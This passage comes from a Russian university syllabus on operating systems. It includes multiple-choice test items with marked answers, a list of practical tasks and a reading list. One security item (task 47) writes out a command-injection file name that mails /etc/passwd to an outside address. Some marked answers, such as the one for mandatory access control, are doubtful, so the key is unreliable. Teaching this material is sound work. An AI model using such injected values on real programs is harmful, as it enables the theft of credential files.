Диспетчеризация, в основу которой положен принцип присвоения приоритета, и наличие ядра с приоритетом на прерывание позволяют. Если наступает событие с высшим приоритетом, система прекращает обработку задачи с низшим приоритетом и отвечает на вновь поступивший запрос. Мартин Тиммерман сформулировал следующие необходимые требования для ОСРВ

- ОС должна быть многозадачной и допускающей вытеснение (preemptable),

- ОС должна обладать понятием приоритета для потоков,
- ОС должна поддерживать предсказуемые механизмы синхронизации,
- ОС должна обеспечивать механизм наследования приоритетов,

ЗАДАНИЕ N 38 Ядро и ресурсы

К невыгружаемым относятся такие ресурсы, которые не могут быть ...

- | | |
|-------------------------------|--------------------------|
| 1) загружены в память | 2) выгружены из памяти |
| 3) <i>отобраны у процесса</i> | 4) отобраны у процессора |

Выгружаемый ресурс - этот ресурс безболезненно можно забрать у процесса (например: память).

Невыгружаемый ресурс - этот ресурс нельзя забрать у процесса без потери данных (например: принтер).

ЗАДАНИЕ N 39 Интерфейсы операционных систем

Интерфейс прикладного программирования предназначен для использования прикладными программами ...

- | | |
|---|---|
| 1) <i>системных ресурсов компьютера</i> | 2) регистров общего назначения процессора |
| 3) интерпретатора команд пользователя | 4) адресного пространства процесса |

Практически все операционные системы имеют API, с помощью которого программисты могут создавать приложения для этой операционной системы. Главный API операционных систем — это множество системных вызовов.

ЗАДАНИЕ N 40 Классификация операционных систем

По режиму обработки задач различают операционные системы, обеспечивающие _____ режим

- | | |
|-----------------------------|------------------------------------|
| 1) <i>мультипрограммный</i> | 2) виртуальный |
| 3) <i>однопрограммный</i> | 4) <i>многопользовательский???</i> |
-

ЗАДАНИЕ N 41 Анализ угроз и уязвимостей в операционных системах

Угроза зомби реализуется с помощью ... и заставляет компьютер выполнять приказания других лиц.

- 1) вызова утилит операционной системы
- 2) диспетчера приложений
- 3) **вредоносных программ**
- 4) подбора пароля

ботнет или зомби-сеть – это сеть компьютеров, зараженных вредоносной программой поведения Backdoor. Backdoor’ы позволяют киберпреступникам удаленно управлять зараженными машинами (каждой в отдельности, частью компьютеров, входящих в сеть, или всей сетью целиком) без ведома пользователя.

ЗАДАНИЕ N 42 *Основы криптографии*

Недостаток систем шифрования с секретным ключом состоит в том, что ...

- 1) отправитель сообщения не может его расшифровать
- 2) **отправитель и получатель должны иметь общий секретный ключ**
- 3) объем вычислений при дешифровании намного больше, чем при шифровании
- 4) объем вычислений при шифровании намного больше, чем при дешифровании

Эффективность систем с секретным ключом обусловлена вполне приемлемым объемом вычислений, необходимых для шифрования или дешифрования сообщения, но у них имеется серьезный недостаток: и отправитель, и получатель должны владеть общим секретным ключом

ЗАДАНИЕ N 43 *Механизмы защиты*

Объектами защиты в компьютерных системах могут быть ...

ВАРИАНТЫ ОТВЕТОВ:

- 1) устройства отображения информации
- 2) помещения
- 3) сотрудники
- 4) **программы**

Объект защиты — информация, носитель информации или информационный процесс, в отношении которых необходимо обеспечивать защиту в соответствии с поставленной целью защиты информации.

ЗАДАНИЕ N 44 *Надежные вычислительные системы*

Политика принудительного управления доступом (mandatory access control) возлагает полномочия по назначению прав доступа к файлам и другим объектам на ...

ВАРИАНТЫ ОТВЕТОВ:

- 1) пользователей
 - 2) прикладную программу
 - 3) операционную систему
 - 4) **руководителей подразделений**
-

ЗАДАНИЕ N 45 Методы аутентификации

Защита зашифрованных паролей в UNIX взламывается путем ...

- шифрования множества**
- 1) **потенциальных паролей открытым алгоритмом шифрования и поиска совпадений в файле паролей**
 - 2) привлечения инсайдеров в качестве сообщников
 - 3) расшифровки всех паролей после копирования файла паролей
 - 4) вычисления пароля путем свертки идентификатора пользователя
-

ЗАДАНИЕ N 46 Инсайдерские атаки

Лазейки в программах создаются ...

- 1) **для облегчения отладки программ или в противоправных целях**
- 2) только для противоправных целей
- 3) для внедрения в программу постороннего кода
- 4) только для облегчения отладки программ

Лазейки (trapdoors). Лазейка представляет собой точку входа в программу, благодаря чему открывается непосредственный доступ к некоторым системным функциям. Лазейки обычно вставляют во время проектирования системы. Системные программисты организуют их при отладке программы, но по завершении ее разработки их надо устранить.

ЗАДАНИЕ N 47 Внешние атаки

Программа, выполняющая копирование файла путем системного вызова, запрашивает у пользователя имена файла-источника и файла-приемника. Злоумышленник ввел в качестве имен файлов следующие значения: "aaa" и "bbb; mail goofinator@mail.ru </etc/passwd". Какие действия выполнит система?

- 1) Скопирует файл aaa в bbb отправит файл bbb адресату goofinator@mail.ru.
 - 2) Отправит файл aaa адресату goofinator@mail.ru.
 - 3) Скопирует текст aaa в файл паролей, относящийся к пользователю с идентификатором goofinator@mail.ru.
 - 4) **Скопирует файл aaa в bbb и отправит по электронной почте файл паролей адресату goofinator@mail.ru.**
-

ЗАДАНИЕ N 48 Вредоносные программы

Наиболее популярное применение ботнетов (сети зараженных компьютеров) - это ...

- 1) организация сетевых азартных игр
- 2) распространение пиратского контента

3) *рассылка коммерческого спама*

4) хищение денег с кредитных карт

ЗАДАНИЕ N 49 *Троянские кони и вирусы*

Перезаписывающий вирус заражает исполняемую программу путем ...

- | | |
|--|--|
| 1) записи кода вируса в тело зараженной программы после каждого ее вызова | 2) перезаписи содержимого стека программы кодом вируса |
| 3) перезаписи служебных секторов дисков | 4) записи вируса на место кода программы!!! |
-

ЗАДАНИЕ N 50 *Средства защиты от вредоносных программ*

Обнаружить зашифрованный вирус можно ...

- | | |
|--|---|
| 1) с помощью универсальной программы дешифрования | 2) по характерному поведению зараженной программы при запуске |
| 3) по сигнатурам кода процедур расшифровки вируса!!! | 4) по изменению размера программы |

Это вирусы-партизаны, которые попав в систему, сразу не дают себя обнаружить и не вступают в активную фазу. Они выжидают нужное им время, находясь в закодированном и безвредном состоянии, при этом зачастую они остаются незамеченными сканерами антивирусов. Как только наступает благоприятное для заражения файлов время, вирусы дешифруются, выполняют свою «грязную работу» и снова кодируются. Различные методы шифрования и упаковки вредоносных программ делают даже известные вирусы не обнаруживаемыми антивирусным программным обеспечением. Для обнаружения этих «замаскированных» вирусов требуется мощный механизм распаковки, который может дешифровать файлы перед их проверкой

Задания по дисциплине

1. Определите какие основные компоненты ОС Windows/Linux установлены на вашем ПК.
2. В Панели управления ОС Windows создайте новую учетную запись с правами Администратора.
3. Проведите форматирование одного из разделов жесткого диска (по указанию преподавателя).
4. Выполните операции (по указанию преподавателя), используя Командную строку ОС Windows.
5. Имея набор полей, создайте БД: опишите ее структуру, укажите первичный ключ.

6. Проведите процедуры создания формы, запроса, отчета для существующей БД ACCESS.

14. Образовательные технологии

Для успешного освоения дисциплины в ходе изложения материала используются лекции на основе мультимедийных презентаций. При изложении материала лектор обсуждает проблемные вопросы, направленные на практическую и самостоятельную деятельность студента. Большое внимание на лекционных и практических занятиях уделяется решению задач из курса «Современные сетевые технологии и операционные системы».

Для развития самостоятельной активности в изучении материала студентам предлагается использование интернет-ресурсов (электронных каталогов, специализированных порталов и сайтов), подготовка к участию в дискуссиях по предлагаемым темам курса, выступление с рефератами. По всем практическим и самостоятельным работам студентам предлагается индивидуальное задание.

При защите рефератов будет использоваться технология рецензирования «1-2-3»: студент рецензент по рецензируемому реферату должен сделать одно замечание, два положительных момента, три предложения по улучшению.

При решении задач по программированию студенты делятся на пары. Члены каждой микрогруппы придумывают тесты для проверки задачи коллеги, а также проверяют решения друг друга.

При обучении лиц с ограниченными возможностями и инвалидов используются подходы, способствующие созданию безбарьерной образовательной среды: технологии дифференциации и индивидуализации обучения, сопровождение тьюторами в образовательном пространстве; увеличивается время на самостоятельное освоение материала.

Для достижения планируемых результатов также используются следующие образовательные технологии:

1. Дистанционные на основе информационно-образовательной среды СГТУ имени Гагарина Ю.А., основе реализации возможности самостоятельного изучения материалов по всем видам образовательной деятельности в соответствии с учебным планом, в том числе до прохождения занятий, текущего дистанционного консультирования студентов.

2. Развивающее проблемно-ориентированное обучение, направленное на формирование и развитие проблемного мышления, мыслительной активности, способности видеть и формулировать проблемы, выбирать способы и средства для их решения на основе рассмотрения примеров из практической деятельности преподавателей, в области научно-практических исследований.

3. Личностно ориентированное обучение, обеспечивающие в ходе учебного процесса учет различных способностей обучаемых, создание необходимых условий для развития их индивидуальных способностей,

развитие активности личности в учебном процессе в рамках самостоятельной работы.

15. ПЕРЕЧЕНЬ УЧЕБНО-МЕТОДИЧЕСКОГО ОБЕСПЕЧЕНИЯ ДЛЯ ОБУЧАЮЩИХСЯ ПО ДИСЦИПЛИНЕ

Основная литература

1. Мартемьянов Ю.Ф. Операционные системы. Концепции построения и обеспечения безопасности [Электронный ресурс]: учебное пособие/ Мартемьянов Ю.Ф., Яковлев Ал.В., Яковлев Ан.В.— Электрон. текстовые данные.— М.: Горячая линия - Телеком, 2011.— 332 с.

Режим доступа: <http://www.iprbookshop.ru/12009>

2. Курячий Г.В. Операционная система Linux. Курс лекций [Электронный ресурс]: учебное пособие/ Курячий Г.В., Маслинский К.А.— Электрон. текстовые данные.— М.: ДМК Пресс, 2010.— 348 с.

Режим доступа: <http://www.iprbookshop.ru/6931>

Дополнительная литература

4. Кручинин А.Ю. Операционные системы [Электронный ресурс]: учебное пособие/ Кручинин А.Ю.— Электрон. текстовые данные.— Оренбург: Оренбургский государственный университет, ЭБС АСВ, 2009.— 132 с.

Режим доступа: <http://www.iprbookshop.ru/30115>

5. Кондратьев В.К. Введение в операционные системы [Электронный ресурс]: учебное пособие/ Кондратьев В.К.— Электрон. текстовые данные.— М.: Евразийский открытый институт, Московский государственный университет экономики, статистики и информатики, 2007.— 232 с.

Режим доступа: <http://www.iprbookshop.ru/10637>

6. Полякова Л.Н. Основы SQL [Электронный ресурс]/ Полякова Л.Н.— Электрон. текстовые данные.— М.: Интернет-Университет Информационных Технологий (ИНТУИТ), 2016.— 273 с.

Режим доступа: <http://www.iprbookshop.ru/22421>

Периодические издания

7. Прикладная информатика –

Режим доступа: <http://www.iprbookshop.ru/11770.html>

8. Вестник Российского нового университета. Серия Управление, вычислительная техника и информатика –

Режим доступа: <http://www.iprbookshop.ru/26390.html>

9. Вестник Томского государственного университета. Управление, вычислительная техника и информатика –

Режим доступа: <http://www.iprbookshop.ru/8348.html>

Интернет-ресурсы

10. Основные Российские образовательные порталы

www.edu.ru - Федеральный портал «Российское образование»
www.informika.ru - Государственный научно-исследовательский институт информационных технологий и телекоммуникаций

11. Интернет - энциклопедия Wikipedia:

<http://ru.wikipedia.org>

12. «Программирование в среде Visual Studio.Net: разработка приложений на языке С#» (2010-2015г.г.)

<http://school.sgu.ru/course/view.php?id=29>

Учебный постоянно обновляемый ресурс для обучения программированию на языке С.

13. «Программирование на языке С++» (2010-2015г.г.)

<http://course.sgu.ru/course/view.php?id=137>

Учебный ресурс для обучения программированию на языке С++.

14. Информационно-справочный портал корпорации Microsoft

<http://msdn.microsoft.com/ru-ru/default.aspx>

Справочный материал по особенностям работы с продуктам Microsoft (Microsoft Office, Visual Studio).

15. Образовательном портале Виртуальной академии Microsoft

<http://www.microsoftvirtualacademy.com/>

Справочный материал по особенностям работы с продуктами Microsoft (Microsoft Office, Visual Studio).

Источники ИОС

https://portal3.sstu.ru/Facult/INETM/AUM/15.03.04z/b.1.3.11.2_/default.aspx

16. Материально-техническое обеспечение

Лекционные и практические занятия проходят с использованием компьютеров в типовом компьютерном классе, оборудованном специализированной учебной мебелью, технических средств обучения (мультимедийный проектор, интерактивная доска).

Для проведения практических занятий требуются:

1. компьютерные классы с программным обеспечением (Microsoft Office 2007/2010, Pascal, Visual C++, Matlab), рассчитанные на обучение группы студентов из 15–20 человек, удовлетворяющие санитарно-гигиеническим требованиям, работающие под управлением операционной системы Microsoft Windows XP или Windows 7 с подключением к сети Internet.

2. Электронная библиотека вуза:

<http://lib.sstu.ru/index.php/elmrazdel/melellib>

3. Электронная информационно-образовательная среда:

<https://portal.sstu.ru>